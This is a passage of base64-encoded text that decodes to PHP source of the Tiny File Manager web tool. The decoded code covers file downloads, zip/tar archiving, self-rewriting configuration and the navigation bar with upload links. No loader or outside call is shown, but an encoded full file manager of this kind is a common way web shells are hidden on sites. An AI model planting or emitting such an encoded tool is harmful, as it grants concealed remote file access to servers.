0hUVFBfVVNFUl9BR0VOVCddLCAiTVNJRSIpKSB7CiAgICAgICAgJGZpbGVOYW1lID0gcHJlZ19yZXBsYWNlKCcvXC4vJywgJyUyZScsICRmaWxlTmFtZSwgc3Vic3RyX2NvdW50KCRmaWxlTmFtZSwgJy4nKSAtIDEpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cIiRmaWxlTmFtZVwiIik7CiAgICB9IGVsc2UgewogICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cIiRmaWxlTmFtZVwiIik7CiAgICB9CgogICAgaGVhZGVyKCJBY2NlcHQtUmFuZ2VzOiBieXRlcyIpOwogICAgJHJhbmdlID0gMDsKCiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkFOR0UnXSkpIHsKICAgICAgICBsaXN0KCRhLCAkcmFuZ2UpID0gZXhwbG9kZSgiPSIsICRfU0VSVkVSWydIVFRQX1JBTkdFJ10pOwogICAgICAgIHN0cl9yZXBsYWNlKCRyYW5nZSwgIi0iLCAkcmFuZ2UpOwogICAgICAgICRzaXplMiA9ICRzaXplIC0gMTsKICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlOwogICAgICAgIGhlYWRlcigiSFRUUC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudCIpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoIik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTIvJHNpemUiKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxOwogICAgICAgIGhlYWRlcigiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTIvJHNpemUiKTsKICAgICAgICBoZWFkZXIoIkNvbnRlbnQtTGVuZ3RoOiAiIC4gJHNpemUpOwogICAgfQogICAgJGZpbGVMb2NhdGlvbiA9IHJlYWxwYXRoKCRmaWxlTG9jYXRpb24pOwogICAgd2hpbGUgKG9iX2dldF9sZXZlbCgpKSBvYl9lbmRfY2xlYW4oKTsKICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pOwoKICAgIGZjbG9zZSgkZnApOwoKICAgIHJldHVybiAoKGNvbm5lY3Rpb25fc3RhdHVzKCkgPT0gMCkgYW5kICFjb25uZWN0aW9uX2Fib3J0ZWQoKSk7Cn0KCi8qKgogKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKQogKi8KY2xhc3MgRk1fWmlwcGVyCnsKICAgIHByaXZhdGUgJHppcDsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIGFyY2hpdmUgd2l0aCBuYW1lICRmaWxlbmFtZSBhbmQgZmlsZXMgJGZpbGVzIChSRUxBVElWRSBQQVRIUyEpCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkZmlsZXMKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRmaWxlbmFtZSwgJGZpbGVzKQogICAgewogICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSwgWmlwQXJjaGl2ZTo6Q1JFQVRFKTsKICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGYgPSBmbV9jbGVhbl9wYXRoKCRmKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoJHRoaXMtPmFkZEZpbGVPckRpcigkZmlsZXMpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUykKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpCiAgICB7CiAgICAgICAgJHJlcyA9ICR0aGlzLT56aXAtPm9wZW4oJGZpbGVuYW1lKTsKICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+emlwLT5leHRyYWN0VG8oJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZmlsZS9mb2xkZXIgdG8gYXJjaGl2ZQogICAgICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZEZpbGVPckRpcigkZmlsZW5hbWUpCiAgICB7CiAgICAgICAgaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSkgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnppcC0+YWRkRmlsZSgkZmlsZW5hbWUpOwogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmFkZERpcigkZmlsZW5hbWUpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHJpdmF0ZSBmdW5jdGlvbiBhZGREaXIoJHBhdGgpCiAgICB7CiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgovKioKICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpCiAqLwpjbGFzcyBGTV9aaXBwZXJfVGFyCnsKICAgIHByaXZhdGUgJHRhcjsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgICR0aGlzLT50YXIgPSBudWxsOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIGFyY2hpdmUgd2l0aCBuYW1lICRmaWxlbmFtZSBhbmQgZmlsZXMgJGZpbGVzIChSRUxBVElWRSBQQVRIUyEpCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogICAgICogQHBhcmFtIGFycmF5fHN0cmluZyAkZmlsZXMKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlKCRmaWxlbmFtZSwgJGZpbGVzKQogICAgewogICAgICAgICR0aGlzLT50YXIgPSBuZXcgUGhhckRhdGEoJGZpbGVuYW1lKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsKICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7CiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGRGaWxlT3JEaXIoJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+YWRkRmlsZU9yRGlyKCRmaWxlcykpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBFeHRyYWN0IGFyY2hpdmUgJGZpbGVuYW1lIHRvIGZvbGRlciAkcGF0aCAoUkVMQVRJVkUgT1IgQUJTT0xVVEUgUEFUSFMpCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aAogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB1bnppcCgkZmlsZW5hbWUsICRwYXRoKQogICAgewogICAgICAgICRyZXMgPSAkdGhpcy0+dGFyLT5vcGVuKCRmaWxlbmFtZSk7CiAgICAgICAgaWYgKCRyZXMgIT09IHRydWUpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBpZiAoJHRoaXMtPnRhci0+ZXh0cmFjdFRvKCRwYXRoKSkgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGZpbGUvZm9sZGVyIHRvIGFyY2hpdmUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHJpdmF0ZSBmdW5jdGlvbiBhZGRGaWxlT3JEaXIoJGZpbGVuYW1lKQogICAgewogICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICR0aGlzLT50YXItPmFkZEZpbGUoJGZpbGVuYW1lKTsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmFkZERpcigkZmlsZW5hbWUpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHJpdmF0ZSBmdW5jdGlvbiBhZGREaXIoJHBhdGgpCiAgICB7CiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7CiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZERpcigkcGF0aCAuICcvJyAuICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT50YXItPmFkZEZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9Cn0KCi8qKgogKiBTYXZlIENvbmZpZ3VyYXRpb24KICovCmNsYXNzIEZNX0NvbmZpZwp7CiAgICB2YXIgJGRhdGE7CgogICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKQogICAgewogICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7CiAgICAgICAgJGZtX3VybCA9ICRyb290X3VybCAuICRfU0VSVkVSWyJQSFBfU0VMRiJdOwogICAgICAgICR0aGlzLT5kYXRhID0gYXJyYXkoCiAgICAgICAgICAgICdsYW5nJyA9PiAnZW4nLAogICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLAogICAgICAgICAgICAnc2hvd19oaWRkZW4nID0+IHRydWUKICAgICAgICApOwogICAgICAgICRkYXRhID0gZmFsc2U7CiAgICAgICAgaWYgKHN0cmxlbigkQ09ORklHKSkgewogICAgICAgICAgICAkZGF0YSA9IGZtX29iamVjdF90b19hcnJheShqc29uX2RlY29kZSgkQ09ORklHKSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG1zZyA9ICdUaW55IEZpbGUgTWFuYWdlcjxicj5FcnJvcjogQ2Fubm90IGxvYWQgY29uZmlndXJhdGlvbic7CiAgICAgICAgICAgIGlmIChzdWJzdHIoJGZtX3VybCwgLTEpID09ICcvJykgewogICAgICAgICAgICAgICAgJGZtX3VybCA9IHJ0cmltKCRmbV91cmwsICcvJyk7CiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JzsKICAgICAgICAgICAgICAgICRtc2cgLj0gJzxicj5TZWVtcyBsaWtlIHlvdSBoYXZlIGEgdHJhaWxpbmcgc2xhc2ggb24gdGhlIFVSTC4nOwogICAgICAgICAgICAgICAgJG1zZyAuPSAnPGJyPlRyeSB0aGlzIGxpbms6IDxhIGhyZWY9IicgLiAkZm1fdXJsIC4gJyI+JyAuICRmbV91cmwgLiAnPC9hPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGllKCRtc2cpOwogICAgICAgIH0KICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTsKICAgICAgICBlbHNlICR0aGlzLT5zYXZlKCk7CiAgICB9CgogICAgZnVuY3Rpb24gc2F2ZSgpCiAgICB7CiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTsKICAgICAgICAkZm1fZmlsZSA9IGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkgPyAkY29uZmlnX2ZpbGUgOiBfX0ZJTEVfXzsKICAgICAgICAkdmFyX25hbWUgPSAnJENPTkZJRyc7CiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTsKICAgICAgICAkY29uZmlnX3N0cmluZyA9ICI8P3BocCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuICIvL0RlZmF1bHQgQ29uZmlndXJhdGlvbiIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuICIkdmFyX25hbWUgPSAkdmFyX3ZhbHVlOyIgLiBjaHIoMTMpIC4gY2hyKDEwKTsKICAgICAgICBpZiAoaXNfd3JpdGFibGUoJGZtX2ZpbGUpKSB7CiAgICAgICAgICAgICRsaW5lcyA9IGZpbGUoJGZtX2ZpbGUpOwogICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCAidyIpKSB7CiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7CiAgICAgICAgICAgICAgICBmb3IgKCR4ID0gMzsgJHggPCBjb3VudCgkbGluZXMpOyAkeCsrKSB7CiAgICAgICAgICAgICAgICAgICAgQGZwdXRzKCRmaCwgJGxpbmVzWyR4XSwgc3RybGVuKCRsaW5lc1skeF0pKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfQoKLy8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS0KCi8qKgogKiBTaG93IG5hdiBibG9jawogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqLwpmdW5jdGlvbiBmbV9zaG93X25hdl9wYXRoKCRwYXRoKQp7CiAgICBnbG9iYWwgJGxhbmcsICRzdGlja3lfbmF2YmFyLCAkZWRpdEZpbGU7CiAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICdmaXhlZC10b3AnIDogJyc7Cj8+CiAgICA8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWV4cGFuZC1sZyBtYi00IG1haW4tbmF2IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyID8+IGJnLWJvZHktdGVydGlhcnkiIGRhdGEtYnMtdGhlbWU9Ijw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+Ij4KICAgICAgICA8YSBjbGFzcz0ibmF2YmFyLWJyYW5kIj4gPD9waHAgZWNobyBsbmcoJ0FwcFRpdGxlJykgPz4gPC9hPgogICAgICAgIDxidXR0b24gY2xhc3M9Im5hdmJhci10b2dnbGVyIiB0eXBlPSJidXR0b24iIGRhdGEtYnMtdG9nZ2xlPSJjb2xsYXBzZSIgZGF0YS1icy10YXJnZXQ9IiNuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBhcmlhLWNvbnRyb2xzPSJuYXZiYXJTdXBwb3J0ZWRDb250ZW50IiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1sYWJlbD0iVG9nZ2xlIG5hdmlnYXRpb24iPgogICAgICAgICAgICA8c3BhbiBjbGFzcz0ibmF2YmFyLXRvZ2dsZXItaWNvbiI+PC9zcGFuPgogICAgICAgIDwvYnV0dG9uPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbGxhcHNlIG5hdmJhci1jb2xsYXBzZSIgaWQ9Im5hdmJhclN1cHBvcnRlZENvbnRlbnQiPgoKICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgJHBhdGggPSBmbV9jbGVhbl9wYXRoKCRwYXRoKTsKICAgICAgICAgICAgJHJvb3RfdXJsID0gIjxhIGhyZWY9Jz9wPSc+PGkgY2xhc3M9J2ZhIGZhLWhvbWUnIGFyaWEtaGlkZGVuPSd0cnVlJyB0aXRsZT0nIiAuIEZNX1JPT1RfUEFUSCAuICInPjwvaT48L2E+IjsKICAgICAgICAgICAgJHNlcCA9ICc8aSBjbGFzcz0iYnJlYWQtY3J1bWIiPiAvIDwvaT4nOwogICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHsKICAgICAgICAgICAgICAgICRleHBsb2RlZCA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7CiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpOwogICAgICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICRwYXJlbnQgPSAnJzsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykgewogICAgICAgICAgICAgICAgICAgICRwYXJlbnQgPSB0cmltKCRwYXJlbnQgLiAnLycgLiAkZXhwbG9kZWRbJGldLCAnLycpOwogICAgICAgICAgICAgICAgICAgICRwYXJlbnRfZW5jID0gdXJsZW5jb2RlKCRwYXJlbnQpOwogICAgICAgICAgICAgICAgICAgICRhcnJheVtdID0gIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPiIgLiBmbV9lbmMoZm1fY29udmVydF93aW4oJGV4cGxvZGVkWyRpXSkpIC4gIjwvYT4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY29sLXhzLTYgY29sLXNtLTUiPicgLiAkcm9vdF91cmwgLiAkZWRpdEZpbGUgLiAnPC9kaXY+JzsKICAgICAgICAgICAgPz4KCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy02IGNvbC1zbS03Ij4KICAgICAgICAgICAgICAgIDx1bCBjbGFzcz0ibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSBtci0yIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgaW5wdXQtZ3JvdXAtc20gbXItMSIgc3R5bGU9Im1hcmdpbi10b3A6NHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiIgYXJpYS1sYWJlbD0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IiBhcmlhLWRlc2NyaWJlZGJ5PSJzZWFyY2gtYWRkb24yIiBpZD0ic2VhcmNoLWFkZG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLWFwcGVuZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImlucHV0LWdyb3VwLXRleHQgYnJsLTAgYnJyLTAiIGlkPSJzZWFyY2gtYWRkb24yIj48aSBjbGFzcz0iZmEgZmEtc2VhcmNoIj48L2k+PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnB1dC1ncm91cC1hcHBlbmQgYnRuLWdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCBkcm9wZG93bi10b2dnbGUgYnJsLTAiIGRhdGEtYnMtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgYXJpYS1leHBhbmRlZD0iZmFsc2UiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtcmlnaHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iZHJvcGRvd24taXRlbSIgaHJlZj0iPD9waHAgZWNobyAkcGF0aDIgPSAkcGF0aCA/ICRwYXRoIDogJy4nOyA/PiIgaWQ9ImpzLXNlYXJjaC1tb2RhbCIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI3NlYXJjaE1vZGFsIj48P3BocCBlY2hvIGxuZygnQWR2YW5jZWQgU2VhcmNoJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VwbG9hZCcpID8+IiBjbGFzcz0ibmF2LWxpbmsiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWQiPjxpIGNsYXNzPSJmYSBmYS1jbG91ZC11cGxvYWQiIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJuYXYtaXRlbSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ05ld0l0ZW0nKSA/PiIgY2xhc3M9Im5hdi1saW5rIiBocmVmPSIjY3JlYXRlTmV3SXRlbSIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI2NyZWF0ZU5ld0l0ZW0iPjxpIGNsYXNzPSJmYSBmYS1wbHVzLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2xpPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmIChGTV9VU0VfQVVUSCk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJuYXYtbGluayBkcm9wZG93bi10b2dnbGUiIGlkPSJuYXZiYXJEcm9wZG93bk1lbnVMaW5rLTUiIGRhdGEtYnMtdG9nZ2xlPSJkcm9wZG93biIgYXJpYS1leHBhbmRlZD0iZmFsc2UiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS11c2VyLWNpcmNsZSI+PC9pPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1lbmQgdGV4dC1zbWFsbCBzaGFkb3ciIGFya